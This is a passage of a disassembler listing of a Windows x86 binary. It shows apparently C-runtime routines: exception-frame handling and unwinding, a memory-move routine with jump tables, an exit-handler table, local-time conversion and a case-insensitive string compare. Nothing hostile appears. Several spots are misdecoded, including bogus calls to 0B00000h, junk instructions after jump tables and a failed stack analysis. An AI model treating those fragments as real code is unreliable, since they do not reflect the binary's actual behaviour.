		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422380
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41CFF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D049	proc near		; DATA XREF: sub_41CFF5+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421B7B
		add	esp, 20h
		pop	ebp
		retn
sub_41D049	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D06E	proc near		; CODE XREF: sub_421DBD+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D122
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D0F4
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4E15A0
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D0F4:				; DATA XREF: sub_41D06E+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D111
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D11A
; ---------------------------------------------------------------------------


loc_41D111:				; CODE XREF: sub_41D06E+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D11A:				; CODE XREF: sub_41D06E+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D06E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D122	proc near		; DATA XREF: sub_41D06E+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D145
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D192
; ---------------------------------------------------------------------------


loc_41D145:				; CODE XREF: sub_41D122+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421B7B
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D183
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CF70


loc_41D183:				; CODE XREF: sub_41D122+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D192:				; CODE XREF: sub_41D122+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D197	proc near		; CODE XREF: sub_421C16+C6p
					; sub_421DBD+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D1EE


loc_41D1B5:				; CODE XREF: sub_41D197+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D1BF
		call	sub_422422


loc_41D1BF:				; CODE XREF: sub_41D197+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D1D4
		cmp	ecx, [eax+8]
		jle	short loc_41D1D9


loc_41D1D4:				; CODE XREF: sub_41D197+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D1E5


loc_41D1D9:				; CODE XREF: sub_41D197+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D1E5:				; CODE XREF: sub_41D197+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D1B5
		mov	eax, [ebp+var_4]


loc_41D1EE:				; CODE XREF: sub_41D197+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D202
		cmp	esi, eax
		jbe	short loc_41D207


loc_41D202:				; CODE XREF: sub_41D197+65j
		call	sub_422422


loc_41D207:				; CODE XREF: sub_41D197+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D197	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D214	proc near		; CODE XREF: sub_4233D4+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_41D22C
		push	[ebp+arg_0]
		call	sub_4265EE	; RtlUnwind


loc_41D22C:				; DATA XREF: sub_41D214+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D214	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D234	proc near		; DATA XREF: sub_41D256+Ao
					; sub_41D2BE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D255
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D255:				; CODE XREF: sub_41D234+10j
		retn
sub_41D234	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D256	proc near		; CODE XREF: sub_422097+Dp
					; sub_4233D4+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D234
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D273:				; CODE XREF: sub_41D256:loc_41D2AEj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D2B0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D2B0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D2AE
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D2EA
		call	dword ptr [ebx+esi*4+8]


loc_41D2AE:				; CODE XREF: sub_41D256+44j
		jmp	short loc_41D273
; ---------------------------------------------------------------------------


loc_41D2B0:				; CODE XREF: sub_41D256+2Aj
					; sub_41D256+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D256	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2BE	proc near		; CODE XREF: sub_4220B7+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D234
		jnz	short locret_41D2E0
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D2E0
		mov	eax, 1

locret_41D2E0:				; CODE XREF: sub_41D2BE+10j
					; sub_41D2BE+1Bj
		retn
sub_41D2BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2E1	proc near		; CODE XREF: sub_422380+1Ep
					; sub_422380+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44253C
		jmp	short loc_41D2F4
sub_41D2E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D2EA	proc near		; CODE XREF: sub_41D256+4Fp
					; sub_4233D4+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44253C
		mov	ecx, [ebp+8]


loc_41D2F4:				; CODE XREF: sub_41D2E1+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D2EA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41D304	proc near		; CODE XREF: sub_40CF88+5p
					; sub_40D12A+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D304	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D323	proc near		; CODE XREF: sub_40D5C9+26p
					; seg000:004263C5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B961
		pop	ecx
		retn
sub_41D323	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D330	proc near		; CODE XREF: sub_40D63A+3Ap
					; sub_41E3D2+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D350
		cmp	edi, eax
		jb	loc_41D4C8


loc_41D350:				; CODE XREF: sub_41D330+16j
		test	edi, 3
		jnz	short loc_41D36C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	ds:off_41D478[edx*4]
; ---------------------------------------------------------------------------


loc_41D36C:				; CODE XREF: sub_41D330+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D384
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41D38C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D384:				; CODE XREF: sub_41D330+46j
		jmp	dword ptr ds:loc_41D488[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D38C:				; CODE XREF: sub_41D330+31j
					; sub_41D330+8Ej ...
		jmp	ds:off_41D40C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D3A0
		dd offset loc_41D3CC
		dd offset loc_41D3F0
; ---------------------------------------------------------------------------


loc_41D3A0:				; DATA XREF: sub_41D330+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	ds:off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D3CC:				; DATA XREF: sub_41D330+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	ds:off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D3F0:				; DATA XREF: sub_41D330+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D38C
		rep movsd
		jmp	ds:off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D40C	dd offset loc_41D46F	; DATA XREF: sub_41D330:loc_41D38Cr
		dd offset loc_41D45C
		dd offset loc_41D454
		dd offset loc_41D44C
		dd offset loc_41D444
		dd offset loc_41D43C
		dd offset loc_41D434
		dd offset loc_41D42C
; ---------------------------------------------------------------------------


loc_41D42C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D434:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D43C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D444:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D44C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D454:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D45C:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D46F:				; CODE XREF: sub_41D330:loc_41D38Cj
					; DATA XREF: sub_41D330:off_41D40Co
		jmp	ds:off_41D478[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D478	dd offset loc_41D488	; DATA XREF: sub_41D330+35r
					; sub_41D330+92r ...
		dd offset loc_41D490
		dd offset loc_41D49C
		dd offset loc_41D4B0
; ---------------------------------------------------------------------------


loc_41D488:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D490:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D49C:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D4B0:				; CODE XREF: sub_41D330+35j
					; sub_41D330+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D4C8:				; CODE XREF: sub_41D330+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D4FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	ds:off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D4F0:				; CODE XREF: sub_41D330+1B1j
					; sub_41D330+208j ...
		neg	ecx
		jmp	ds:off_41D5C0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D4FC:				; CODE XREF: sub_41D330+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D514
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41D514+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D514:				; CODE XREF: sub_41D330+1D6j
					; DATA XREF: sub_41D330+1DDr
		jmp	ds:off_41D610[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sub	ch, dl
		inc	ecx
		add	[eax-2Bh], cl
		inc	ecx
		add	[eax-2Bh], dh
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	ds:off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D4F0
		std
		rep movsd
		cld
		jmp	ds:off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D4F0
		std
		rep movsd
		cld
		jmp	ds:off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D5C4
		dd offset loc_41D5CC
		dd offset loc_41D5D4
		dd offset loc_41D5DC
		dd offset loc_41D5E4
		dd offset loc_41D5EC
		dd offset loc_41D5F4
off_41D5C0	dd offset loc_41D607	; DATA XREF: sub_41D330+1C2r
; ---------------------------------------------------------------------------


loc_41D5C4:				; DATA XREF: sub_41D330+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D5CC:				; DATA XREF: sub_41D330+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D5D4:				; DATA XREF: sub_41D330+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D5DC:				; DATA XREF: sub_41D330+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D5E4:				; DATA XREF: sub_41D330+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D5EC:				; DATA XREF: sub_41D330+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D5F4:				; DATA XREF: sub_41D330+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D607:				; CODE XREF: sub_41D330+1C2j
					; DATA XREF: sub_41D330:off_41D5C0o
		jmp	ds:off_41D610[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D610	dd offset loc_41D620	; DATA XREF: sub_41D330+1B7r
					; sub_41D330:loc_41D514r ...
		dd offset loc_41D628
		dd offset loc_41D638
		dd offset loc_41D64C
; ---------------------------------------------------------------------------


loc_41D620:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D628:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D638:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D64C:				; CODE XREF: sub_41D330+1B7j
					; sub_41D330:loc_41D514j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D330	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D665	proc near		; CODE XREF: sub_40D6A1+34p
					; sub_40D6A1+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BBDD
		pop	ecx
		pop	ecx
		retn
sub_41D665	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D673	proc near		; CODE XREF: sub_41D6E0+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_4E2B94
		call	sub_422478
		mov	edx, ds:dword_4E2B94
		pop	ecx
		mov	ecx, ds:dword_4E2B90
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D6D2
		push	edx
		call	sub_422478
		add	eax, 10h
		push	eax
		push	ds:dword_4E2B94
		call	sub_41BA78
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D6B5
		retn
; ---------------------------------------------------------------------------


loc_41D6B5:				; CODE XREF: sub_41D673+3Fj
		mov	ecx, ds:dword_4E2B90
		sub	ecx, ds:dword_4E2B94
		mov	ds:dword_4E2B94, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_4E2B90, ecx


loc_41D6D2:				; CODE XREF: sub_41D673+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_4E2B90, 4
		retn
sub_41D673	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6E0	proc near		; CODE XREF: sub_40D78E+1Ap
					; sub_4265CE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D673
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D6E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6F2	proc near		; DATA XREF: seg002:00429024o
		push	80h
		call	sub_41BBCB
		test	eax, eax
		pop	ecx
		mov	ds:dword_4E2B94, eax
		jnz	short loc_41D713
		push	18h
		call	sub_41E0F9
		mov	eax, ds:dword_4E2B94
		pop	ecx


loc_41D713:				; CODE XREF: sub_41D6F2+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4E2B94
		mov	ds:dword_4E2B90, eax
		retn
sub_41D6F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D721	proc near		; CODE XREF: seg000:0040DD86p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_427130	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0B00000h
		sbb	eax, 0EA458B66h
		cmp	ax, ds:word_4E1562
		jnz	short loc_41D786
		mov	ax, [ebp+var_18]
		cmp	ax, ds:word_4E1560
		jnz	short loc_41D786
		mov	ax, [ebp+var_1A]
		cmp	ax, ds:word_4E155E
		jnz	short loc_41D786
		mov	ax, [ebp+var_1E]
		cmp	ax, ds:word_4E155A
		jnz	short loc_41D786
		mov	ax, [ebp+var_20]
		cmp	ax, ds:word_4E1558
		jnz	short loc_41D786
		mov	eax, ds:dword_4E1550
		jmp	short loc_41D7CB
; ---------------------------------------------------------------------------


loc_41D786:				; CODE XREF: sub_41D721+28j
					; sub_41D721+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 0B00000h
		stosd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D7B3
		cmp	eax, 2
		jnz	short loc_41D7AF
		cmp	[ebp+var_32], 0
		jz	short loc_41D7AF
		cmp	[ebp+var_24], 0
		jz	short loc_41D7AF
		push	1
		pop	eax
		jmp	short loc_41D7B6
; ---------------------------------------------------------------------------


loc_41D7AF:				; CODE XREF: sub_41D721+7Aj
					; sub_41D721+81j ...
		xor	eax, eax
		jmp	short loc_41D7B6
; ---------------------------------------------------------------------------


loc_41D7B3:				; CODE XREF: sub_41D721+75j
		or	eax, 0FFFFFFFFh


loc_41D7B6:				; CODE XREF: sub_41D721+8Cj
					; sub_41D721+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4E1558
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_4E1550, eax
		pop	esi


loc_41D7CB:				; CODE XREF: sub_41D721+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_4224A1
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D7FB
		mov	[ecx], eax

locret_41D7FB:				; CODE XREF: sub_41D721+D6j
		leave
		retn
sub_41D721	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D800	proc near		; CODE XREF: seg000:0040DBEBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4E15A8
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D853
		mov	al, 0FFh
		mov	edi, edi


loc_41D81C:				; CODE XREF: sub_41D800+28j
					; sub_41D800+48j
		or	al, al
		jz	short loc_41D84E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D81C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D81C
		sbb	al, al
		sbb	al, 0FFh


loc_41D84E:				; CODE XREF: sub_41D800+1Ej
		movsx	eax, al
		jmp	short loc_41D887
; ---------------------------------------------------------------------------


loc_41D853:				; CODE XREF: sub_41D800+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D85C:				; CODE XREF: sub_41D800+68j
					; sub_41D800+80j
		or	al, al
		jz	short loc_41D887
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D85C
		push	eax
		push	ebx
		call	sub_41DE1C
		mov	ebx, eax
		add	esp, 4
		call	sub_41DE1C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D85C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D887:				; CODE XREF: sub_41D800+51j
					; sub_41D800+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D800	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D88C	proc near		; CODE XREF: sub_40E7D2+193p
					; sub_40E7D2+1DDp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
